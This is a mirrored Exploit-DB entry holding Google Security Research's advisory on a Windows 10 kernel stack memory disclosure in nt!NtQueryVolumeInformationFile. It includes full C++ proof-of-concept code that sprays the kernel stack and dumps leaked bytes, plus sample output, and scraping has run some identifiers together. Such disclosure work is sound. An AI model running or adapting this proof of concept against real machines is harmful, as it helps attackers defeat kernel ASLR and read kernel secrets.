Microsoft Windows – ‘nt!NtQueryVolumeInformationFile’ Kernel Stack Memory Disclosure

• Exploit Database
• 114 阅读

• 作者： Google Security Research
  日期： 2018-04-16
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44460/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230

  /* We have discovered that the nt!NtQueryVolumeInformationFile system call invoked against certain kernel objects discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects Windows 10 (32/64-bit); other versions were not tested. The paths that we have observed to trigger the leak in our test Windows 10 (1709) 64-bit VM are:   --- cut --- "\SystemRoot" "\Device\LanmanRedirector" "\Device\MailslotRedirector" --- cut ---   There are two types of leaks that can occur, both in the output IO_STATUS_BLOCK structure [1]:   --- cut --- typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; PVOIDPointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; --- cut ---   The first type is a 64-bit specific leak of 4 bytes of uninitialized kernel stack memory, corresponding to the upper 32 bits of the nested union, if the "Status" field is initialized, but "Pointer" is not. This is caused by the mismatch between sizeof(NTSTATUS)=4 and sizeof(PVOID)=8 on x64 platforms.   The second type is when a completely uninitialized copy of IO_STATUS_BLOCK is passed down to the user-mode client. This results in a disclosure of 8 kernel stack bytes on x86 systems, and 16 bytes on x64 systems.   Both types of leaks have been observed for various information classes tested against the three offending objects (SystemRoot, LanmanRedirector, MailslotRedirector). The problem is best illustrated by running the attached proof-of-concept program, which sprays the kernel stack with a 0x41 (&apos;A&apos;) marker byte, invokes the nt!NtQueryVolumeInformationFile syscall with increasing information classes, and dumps the contents of the output IO_STATUS_BLOCK structures. The result of starting it in our test Windows 10 64-bit environment is as follows:   --- cut --- -------------- Testing \SystemRoot Class: 1, Status: 0 00000000: 00 00 00 00 41 41 41 41 12 00 00 00 00 00 00 00 ....AAAA........ Class: 3, Status: 0 00000000: 00 00 00 00 41 41 41 41 18 00 00 00 00 00 00 00 ....AAAA........ Class: 4, Status: 0 00000000: 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 ................ Class: 5, Status: 0 00000000: 00 00 00 00 41 41 41 41 14 00 00 00 00 00 00 00 ....AAAA........ Class: 6, Status: c0000022 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Class: 7, Status: 0 00000000: 00 00 00 00 41 41 41 41 20 00 00 00 00 00 00 00 ....AAAA ....... Class: 8, Status: 0 00000000: 00 00 00 00 41 41 41 41 40 00 00 00 00 00 00 00 ....AAAA@....... Class: 9, Status: c000000d 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Class: a, Status: c000000d 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: b, Status: 0 00000000: 00 00 00 00 41 41 41 41 1c 00 00 00 00 00 00 00 ....AAAA........ Class: c, Status: 0 00000000: 00 00 00 00 41 41 41 41 04 00 00 00 00 00 00 00 ....AAAA........ Class: d, Status: c000000d 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA -------------- Testing \Device\LanmanRedirector Class: 1, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: 3, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: 4, Status: 0 00000000: 00 00 00 00 41 41 41 41 08 00 00 00 00 00 00 00 ....AAAA........ Class: 5, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: 6, Status: c0000022 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Class: 7, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: 8, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: 9, Status: c000003b 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Class: a, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: b, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: c, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: d, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA -------------- Testing \Device\MailslotRedirector Class: 1, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: 3, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: 4, Status: 0 00000000: 00 00 00 00 41 41 41 41 08 00 00 00 00 00 00 00 ....AAAA........ Class: 5, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: 6, Status: c0000022 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Class: 7, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: 8, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: 9, Status: c000003b 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Class: a, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: b, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: c, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: d, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA --- cut ---   It is clearly visible that a number of uninitialized bytes from the stack (indicated by the 0x41 value) are returned to the caller. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */   #include <Windows.h> #include <winternl.h> #include <ntstatus.h>   #include <cstdio>   #pragma comment(lib, "ntdll.lib")   extern "C" { NTSTATUS NTAPI NtMapUserPhysicalPages( PVOID BaseAddress, ULONG NumberOfPages, PULONG PageFrameNumbers );   NTSTATUS NTAPI NtQueryVolumeInformationFile( _In_HANDLE FileHandle, _Out_ PIO_STATUS_BLOCK IoStatusBlock, _Out_ PVOIDFsInformation, _In_ULONGLength, _In_DWORDFsInformationClass ); };   VOID PrintHex(PVOID Buffer, ULONG dwBytes) { PBYTE Data = (PBYTE)Buffer; for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i);   for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } }   for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } }   printf("\n"); } }   VOID MyMemset(PVOID ptr, BYTE byte, ULONG size) { PBYTE _ptr = (PBYTE)ptr; for (ULONG i = 0; i < size; i++) { _ptr[i] = byte; } }   VOID SprayKernelStack() { static SIZE_T buffer[1024];   MyMemset(buffer, &apos;A&apos;, sizeof(buffer)); NtMapUserPhysicalPages(buffer, ARRAYSIZE(buffer), (PULONG)buffer); MyMemset(buffer, &apos;B&apos;, sizeof(buffer)); }   VOID TestHandle(HANDLE hObject) { static BYTE OutputBuffer[1024];   for (DWORD Class = 0; Class < 16; Class++) { IO_STATUS_BLOCK iosb; RtlZeroMemory(&iosb, sizeof(iosb));   SprayKernelStack();   NTSTATUS Status = NtQueryVolumeInformationFile(hObject, &iosb, OutputBuffer, sizeof(OutputBuffer), (FILE_INFORMATION_CLASS)Class); if (Status == STATUS_INVALID_INFO_CLASS || Status == STATUS_INVALID_DEVICE_REQUEST) { continue; }   printf("Class: %x, Status: %x\n", Class, Status); PrintHex(&iosb, sizeof(iosb)); } }   VOID TestObject(PWCHAR Name) { HANDLE hFile = NULL; OBJECT_ATTRIBUTES attrs; IO_STATUS_BLOCK iosb;   UNICODE_STRING UnicodeName; RtlInitUnicodeString(&UnicodeName, Name);   InitializeObjectAttributes(&attrs, &UnicodeName, 0, NULL, NULL);   NTSTATUS Status = NtCreateFile(&hFile, FILE_READ_ATTRIBUTES, &attrs, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN, 0, NULL, 0);   if (NT_SUCCESS(Status)) { wprintf(L"-------------- Testing %s\n", Name); TestHandle(hFile); CloseHandle(hFile); } }   int main() { TestObject(L"\\SystemRoot"); TestObject(L"\\Device\\LanmanRedirector"); TestObject(L"\\Device\\MailslotRedirector");   return 0; }